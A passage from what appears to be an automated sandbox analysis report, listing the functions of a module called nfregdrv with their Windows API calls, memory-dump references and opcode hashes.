                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: cf9b4901ff1e343b7e26287a133ebef74e919893ac441ab88bcd06e640e03855
                                                                                                                  • Instruction ID: 0eff3ab3fb06489d6740a8c9915ab30779d44775857bedc5cb99c14d77079b55
                                                                                                                  • Opcode Fuzzy Hash: cf9b4901ff1e343b7e26287a133ebef74e919893ac441ab88bcd06e640e03855
                                                                                                                  • Instruction Fuzzy Hash: 73016774514311AFE301DF28CD45B5A77E5EF98B10F918A08F964862E2E774D5048A52
                                                                                                                  Function 100145D0 Relevance: 7.5, APIs: 5, Instructions: 39COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100145D8
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014605
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201AC,?,0000000C,00000000,00000000,00000000,00000000), ref: 1001462C
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001463B
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: 6e4f1e0d7d0e21a89da46d87f902386311073b00f14cfb2b082e5294dee19481
                                                                                                                  • Instruction ID: 42d7f987a94a52d01ef36b35c772b808b674778ff1b5ba1bc601a11ad0b11856
                                                                                                                  • Opcode Fuzzy Hash: 6e4f1e0d7d0e21a89da46d87f902386311073b00f14cfb2b082e5294dee19481
                                                                                                                  • Instruction Fuzzy Hash: 6A016274A14311AFF300DF28CD85B5A77E5EF98B10F918A08F968862E2E774D5088A92
                                                                                                                  Function 100038F0 Relevance: 7.5, APIs: 5, Instructions: 34synchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020458,0000000A,?,00000000,1001783B), ref: 100038FE
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020458), ref: 1000392C
                                                                                                                  • WaitForSingleObject.KERNEL32(?,00002710), ref: 1000393A
                                                                                                                  • EnterCriticalSection.KERNEL32(10020458), ref: 10003941
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020458), ref: 10003963
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$EnterLeave$ObjectSingleWait
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1755037574-0
                                                                                                                  • Opcode ID: 3bb25a39c071496a06b616590bfd4f65b77da877f5bd338bfbeae23c9fbe291f
                                                                                                                  • Instruction ID: 4c8c2d80ac1b079380655c5ec4cbb732bc282f0004f1aa78e3f82d5ff21842fc
                                                                                                                  • Opcode Fuzzy Hash: 3bb25a39c071496a06b616590bfd4f65b77da877f5bd338bfbeae23c9fbe291f
                                                                                                                  • Instruction Fuzzy Hash: 8FF090B1B402655FF704FB98ECD0CA533EAEBCC354760C019FB0593613CA7068069B61
                                                                                                                  Function 10002E70 Relevance: 7.5, APIs: 5, Instructions: 34synchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(100203D8,0000000A,?,00000000,10017836), ref: 10002E7E
                                                                                                                  • LeaveCriticalSection.KERNEL32(100203D8), ref: 10002EAC
                                                                                                                  • WaitForSingleObject.KERNEL32(?,00002710), ref: 10002EBA
                                                                                                                  • EnterCriticalSection.KERNEL32(100203D8), ref: 10002EC1
                                                                                                                  • LeaveCriticalSection.KERNEL32(100203D8), ref: 10002EE3
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$EnterLeave$ObjectSingleWait
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1755037574-0
                                                                                                                  • Opcode ID: 1c097af206b97876061b063052c6263d78874f6a138238f18bb0d2092e23d612
                                                                                                                  • Instruction ID: e43171a4669c4619fb34f8ae264f673014ca4388743921c5762645a7f44c2943
                                                                                                                  • Opcode Fuzzy Hash: 1c097af206b97876061b063052c6263d78874f6a138238f18bb0d2092e23d612
                                                                                                                  • Instruction Fuzzy Hash: 66F03A757103249FF304D7A8DCD0CA973AEEBC8794764405AF741A3226C7B4BA428B61
                                                                                                                  Function 10014660 Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014666
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001467B
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201A8,?,00000004,00000000,00000000,?,00000000), ref: 100146A0
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100146AF
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: 1ae83451541ad7b1658e7e77a32fbb5fc71b43354f710eefe43c36ccfaec8dcc
                                                                                                                  • Instruction ID: 3db9b80ac07a141cc6bafe2479cacd36b1aa32743546a89e3ddafa96da967a27
                                                                                                                  • Opcode Fuzzy Hash: 1ae83451541ad7b1658e7e77a32fbb5fc71b43354f710eefe43c36ccfaec8dcc
                                                                                                                  • Instruction Fuzzy Hash: 84F08270251310AFF201C7749C89F553399DF48B22F628708F326C90E1DF70D4049A51
                                                                                                                  Function 100131B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __snprintf.LIBCMT ref: 100131DB
                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00000001), ref: 100131F5
                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 1001321A
                                                                                                                  Strings
                                                                                                                  • SYSTEM\CurrentControlSet\Services\%s, xrefs: 100131CC
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseOpen__snprintf
                                                                                                                  • String ID: SYSTEM\CurrentControlSet\Services\%s
                                                                                                                  • API String ID: 2649323954-2757632955
                                                                                                                  • Opcode ID: 84ec4fc234ded0ec1746a26bb0a01dea6608cb65e603b7f2fafd6f762602d5c4
                                                                                                                  • Instruction ID: 0e6c5bb0a140b4fe4a8a9fd12908ebb5e2cd1ecdda7a5af6ef08cdde4ffb9b5c
                                                                                                                  • Opcode Fuzzy Hash: 84ec4fc234ded0ec1746a26bb0a01dea6608cb65e603b7f2fafd6f762602d5c4
                                                                                                                  • Instruction Fuzzy Hash: 37F0E6B5A143005BF764DB54C856FEA73E5EB99700F80480CF5D986181DAB59584CA52
                                                                                                                  Function 100189E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,QueryFullProcessImageNameW), ref: 100189EA
                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 100189F1
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                  • String ID: QueryFullProcessImageNameW$kernel32
                                                                                                                  • API String ID: 1646373207-4169370628
                                                                                                                  • Opcode ID: 80ead79f867b9c70acc418535677702e5c57cb3ae286bb14f1603a2e4be25d81
                                                                                                                  • Instruction ID: d4b750a60ec6c6cb5d585284b623d2f8c151284af6f3ea71f4c867148f187fbc
                                                                                                                  • Opcode Fuzzy Hash: 80ead79f867b9c70acc418535677702e5c57cb3ae286bb14f1603a2e4be25d81
                                                                                                                  • Instruction Fuzzy Hash: 7BB092B8400320AFEB01DBE08C8C8953AEEE74E2027008400F60585120CB30C1E0CF15
                                                                                                                  Function 10018A00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,QueryFullProcessImageNameA), ref: 10018A0A
                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 10018A11
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                  • String ID: QueryFullProcessImageNameA$kernel32
                                                                                                                  • API String ID: 1646373207-3526589867
                                                                                                                  • Opcode ID: bfb67a8b5cc4ef26928f28fcb801f94734c3672f5e5d78a8aa3062b54429a572
                                                                                                                  • Instruction ID: 98f50a63cd48d57722deb6357d66e02bf387ff61662be34999bf1d136a449764
                                                                                                                  • Opcode Fuzzy Hash: bfb67a8b5cc4ef26928f28fcb801f94734c3672f5e5d78a8aa3062b54429a572
                                                                                                                  • Instruction Fuzzy Hash: FAB092F14013209FE702ABB08C8C8853AE9EB1A202B108100FB0186121CB38C0D18A12
                                                                                                                  Function 10018A50 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtQuerySymbolicLinkObject), ref: 10018A5A
                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 10018A61
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                  • String ID: NtQuerySymbolicLinkObject$ntdll
                                                                                                                  • API String ID: 1646373207-3146753317
                                                                                                                  • Opcode ID: 61b53181ddc3a0468bf9acf94f72e8e6d06d1798f52acba3e2d3b8d08e6a28da
                                                                                                                  • Instruction ID: b543b7ade083403f1789f1f0de2ce02b86dca8d31286e88a7640a01fa307330f
                                                                                                                  • Opcode Fuzzy Hash: 61b53181ddc3a0468bf9acf94f72e8e6d06d1798f52acba3e2d3b8d08e6a28da
                                                                                                                  • Instruction Fuzzy Hash: B4B092F0400320AFE701EBA18C8C8863AEAE70A2223008010F70585125CB34C1D48F11
                                                                                                                  Function 10018A70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtOpenSymbolicLinkObject), ref: 10018A7A
                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 10018A81
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                  • String ID: NtOpenSymbolicLinkObject$ntdll
                                                                                                                  • API String ID: 1646373207-699678798
                                                                                                                  • Opcode ID: fdd8a5cfbd6b08d661b471b0597a721e8dc6ba82253e6c59f24492ff2366b510
                                                                                                                  • Instruction ID: ebc436c54efd9b5b1c1cf879c4817285fbe182f6251ddbece40f41faf484d1d2
                                                                                                                  • Opcode Fuzzy Hash: fdd8a5cfbd6b08d661b471b0597a721e8dc6ba82253e6c59f24492ff2366b510
                                                                                                                  • Instruction Fuzzy Hash: 07B092F14403219FE702EBA08D8C8863AEAE70E2037008015F70185122CB34C0D1CA11
                                                                                                                  Function 10015C80 Relevance: 6.4, APIs: 5, Instructions: 190COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 10015CBC
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10015CD8
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015D3B
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: 31d074460ceac946c0d193caf96497102455dab9f53a976f00f18180bc0b4a95
                                                                                                                  • Instruction ID: 6b063e24d70fe8b42fc37b21e784bd8b66a1ec8045d673d45357853a068beb0b
                                                                                                                  • Opcode Fuzzy Hash: 31d074460ceac946c0d193caf96497102455dab9f53a976f00f18180bc0b4a95
                                                                                                                  • Instruction Fuzzy Hash: B861AA76905700CFC314CF28D980A5AB7F6FB88661F548A2DF9598B341D736EA44CBA2
                                                                                                                  Function 10015400 Relevance: 6.3, APIs: 5, Instructions: 92COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 1001540F
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015423
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001546A
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: f884fb650ff68b9350361ec3a5e3420faf4578eaab12f6148c9d3cfc54674c03
                                                                                                                  • Instruction ID: 3b9cdc21f64611186a4f192bef5eff766ae51078ef50db3d8a9c348abcb55b80
                                                                                                                  • Opcode Fuzzy Hash: f884fb650ff68b9350361ec3a5e3420faf4578eaab12f6148c9d3cfc54674c03
                                                                                                                  • Instruction Fuzzy Hash: 2531D1756007149BC710CF2DEC8499A77E5EF88336F10432AF95D8B691D731E9848BD0
                                                                                                                  Function 10017D00 Relevance: 6.3, APIs: 5, Instructions: 66COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168,00000010,00000000,10015376), ref: 10017D12
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10017D7B
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10017DAE
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10017DC5
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10017DCE
                                                                                                                    • Part of subcall function 10007B2F: __lock.LIBCMT ref: 10007B4D
                                                                                                                    • Part of subcall function 10007B2F: ___sbh_find_block.LIBCMT ref: 10007B58
                                                                                                                    • Part of subcall function 10007B2F: ___sbh_free_block.LIBCMT ref: 10007B67
                                                                                                                    • Part of subcall function 10007B2F: HeapFree.KERNEL32(00000000,00000001,1001B588,0000000C,100094F4,00000000,1001B628,0000000C,1000952C,00000001,?,?,1000F77D,00000004,1001B950,0000000C), ref: 10007B97
                                                                                                                    • Part of subcall function 10007B2F: GetLastError.KERNEL32(?,1000F77D,00000004,1001B950,0000000C,1000B1A8,?,?,00000000,00000000,00000000,1000AB20,00000001,00000214), ref: 10007BA8
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$EnterErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2683178029-0
                                                                                                                  • Opcode ID: 745b44e389e3eb57d002cadd99901bb83912b5949676a4bdb36c585caf9445f7
                                                                                                                  • Instruction ID: b4225b4be6f6f7a218a50a7cc17e3f5341257b43a51e5c7c058e521d2863d70b
                                                                                                                  • Opcode Fuzzy Hash: 745b44e389e3eb57d002cadd99901bb83912b5949676a4bdb36c585caf9445f7
                                                                                                                  • Instruction Fuzzy Hash: C5219D765003158FD755CF14ED45AAA77B1FF9431570244BEF909CB222DB36D492CB81
                                                                                                                  Function 100142C0 Relevance: 6.3, APIs: 5, Instructions: 60COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100142CD
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100142E1
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100142FE
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: 91475d05e9af95ed88a2ca98d537037db2de0cf6f2e51c315e4e122b3160fcb0
                                                                                                                  • Instruction ID: 0688acbf623d954f04115705206b7a5878359c5d24a5a52100af0231af46e52b
                                                                                                                  • Opcode Fuzzy Hash: 91475d05e9af95ed88a2ca98d537037db2de0cf6f2e51c315e4e122b3160fcb0
                                                                                                                  • Instruction Fuzzy Hash: F411A0356102159FC700CF2DEC4489577AAEF89231712835AFD2C877A1EB31E8508AD0
                                                                                                                  Function 10014370 Relevance: 6.3, APIs: 5, Instructions: 60COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 1001437D
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014391
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100143AE
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: af989e02686470c58158b9f9546e3ca7512020e02bc5ed8235ce539b5489efd8
                                                                                                                  • Instruction ID: 4d93d7c43a49986c58b60d74623ea931e304e01d20275fc7b50258dea019b724
                                                                                                                  • Opcode Fuzzy Hash: af989e02686470c58158b9f9546e3ca7512020e02bc5ed8235ce539b5489efd8
                                                                                                                  • Instruction Fuzzy Hash: 2F11A0396102149FC700CF6DEC4489977A9EF88231711835AFD2CC77A1EB31E9118AD1
                                                                                                                  Function 10014800 Relevance: 6.3, APIs: 5, Instructions: 57COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 1001480D
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014821
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001483E
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
